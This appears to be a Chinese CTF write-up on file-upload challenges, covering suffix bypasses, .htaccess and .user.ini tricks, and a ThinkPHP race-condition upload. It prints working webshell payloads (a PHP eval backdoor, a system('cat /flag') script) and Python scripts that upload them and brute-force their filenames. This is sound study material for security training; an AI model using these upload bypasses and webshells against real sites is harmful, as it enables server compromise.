CTF下的文件上传
前言:
CTF下的文件上傳考法也有很多種,結(jié)合做過的題目進(jìn)行一個總結(jié)。
[ACTF2020 新生賽]Upload
——后綴名繞過
有JS代碼在前端驗證,先上傳要求的格式再通過抓包修改后綴名
看來php后綴被過濾了,可以嘗試其他后綴名
php常用后綴名如下:
phtml和phtm后綴即可上傳進(jìn)行,下面就是連接查看flag了
類似題目:
[極客大挑戰(zhàn) 2019]Upload
[GXYCTF2019]BabyUpload
——圖片馬
經(jīng)過測試只有jpg后綴的圖片可以上傳進(jìn)行,利用php后綴名無法繞過,大小寫也無法繞過,那就通過上傳.htaccess文件來解析上傳的jpg圖片
上傳成功,下面?zhèn)魅雑peg馬連接即可
補(bǔ)充一下上傳姿勢和.htaccess 文件上傳
類似題目:
[MRCTF2020]你傳你🐎呢
[RoarCTF 2019]Simple Upload
——條件競爭、Thinkphp的文件上傳、腳本上傳
很明顯就是Thinkphp的代碼,查到thinkphp的手冊
ThinkPHP3.2完全開發(fā)手冊
查資料發(fā)現(xiàn)Thinkphp默認(rèn)上傳路徑是/home/index/upload
這道題沒有上傳點,應(yīng)該是要自己編寫腳本上傳進(jìn)去,可以參考師傅的文章去寫
python模擬文件上傳(multipart/form-data形式)
下載源碼觀察文件上傳命名規(guī)則
uniqid() 函數(shù)基于以微秒計的當(dāng)前時間,生成一個唯一的 ID,所以上傳文件名是一直在變化的。
觀察題目源碼會發(fā)現(xiàn)只是限制了上傳后綴,thinkPHP里的upload()函數(shù)在不傳參的情況下是批量上傳的,可以理解為防護(hù)機(jī)制只檢測一次,運用條件競爭,多次上傳便可以繞過文件后綴的檢測。
那接下來就通過腳本來進(jìn)行上傳
import requestsurl = 'http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/index.php/home/index/upload'file1 = {'file':open('lemon.txt','r')} file2 = {'file1':open('lemon.php','r')}r = requests.post(url,files=file1) print(r.text) r = requests.post(url,files=file2) print(r.text)發(fā)現(xiàn)上傳的php文件沒有顯示出文件名
上面提到了uniqid() 函數(shù)會以時間更改文件名,所以將lemon.txt上傳兩次根據(jù)第一和第三個正常文件的文件名之間的差異,爆破出我們上傳的木馬文件名
發(fā)現(xiàn)文件名后六位不同,只能爆破了
幾乎爆破不出來,六位太長了,但思路和方法就是這樣的,看了師傅寫的腳本可以跑出來,學(xué)習(xí)一下
#coding:utf-8 import requests import time import jsonurl = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"path = url + "/index.php/home/index/upload" files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')} r = requests.post(path, files=files) t1 = r.text.split("/")[-1].split(".")[0] param=json.loads(r.content) #json.loads()用于將str類型的數(shù)據(jù)轉(zhuǎn)成dict print param t1 = int(t1, 16)j = t1 while True:path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]try:r = requests.get(path,timeout=1)except:continueif r.status_code == 429:#規(guī)避過于頻繁訪問導(dǎo)致的429time.sleep(0.1)continueelif r.status_code != 404:print pathprint r.textbreakprint j, path, r.status_codej -= 1[SUCTF 2019]CheckIn
——.user.ini的利用
這道題能學(xué)到新的知識和姿勢,下面就通過題目來學(xué)習(xí)
看似是一道正常的上傳題目,然后有黑名單,檢測文件頭,截斷也不行,圖片馬的話.htaccess文件上傳不,這個就很頭疼,看了師傅的WP發(fā)現(xiàn)是用到了.user.ini,說實話這個真的沒有遇到過,學(xué)習(xí)一下
https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
原理就不敘述了,可以看師傅對其的分析,寫的真的很詳細(xì)了
| auto_prepend_file | 指定一個文件,在任何php文件運行前會將這個文件require進(jìn)來。 |
| auto_append_file | 類似前一選項,區(qū)別是包含目標(biāo)文件在php尾部執(zhí)行。當(dāng)該文件調(diào)用了exit()時無效。 |
下面就通過這道題來練習(xí)一下這個方法:
.user.ini
auto_prepend_file=1.jpg上傳發(fā)現(xiàn)繞不過文件頭檢測
可以添加 GIF89a 或者通過設(shè)置height以及width來繞過getimagesize、或exif_imagetype的檢測 #define width 666 #define height 666payload:
.user.ini文件 #define width 666 #define height 666 auto_prepend_file=3.jpg 3.jpg文件 #define width 666 #define height 666 <script language="PHP">system("cat /flag");</script>其他例子:
https://blog.csdn.net/qq_43305301/article/details/104494779
未完待續(xù)!
總結(jié)
- 上一篇: 2018.5.5信息安全铁人三项赛数据赛
- 下一篇: Centos MySql基础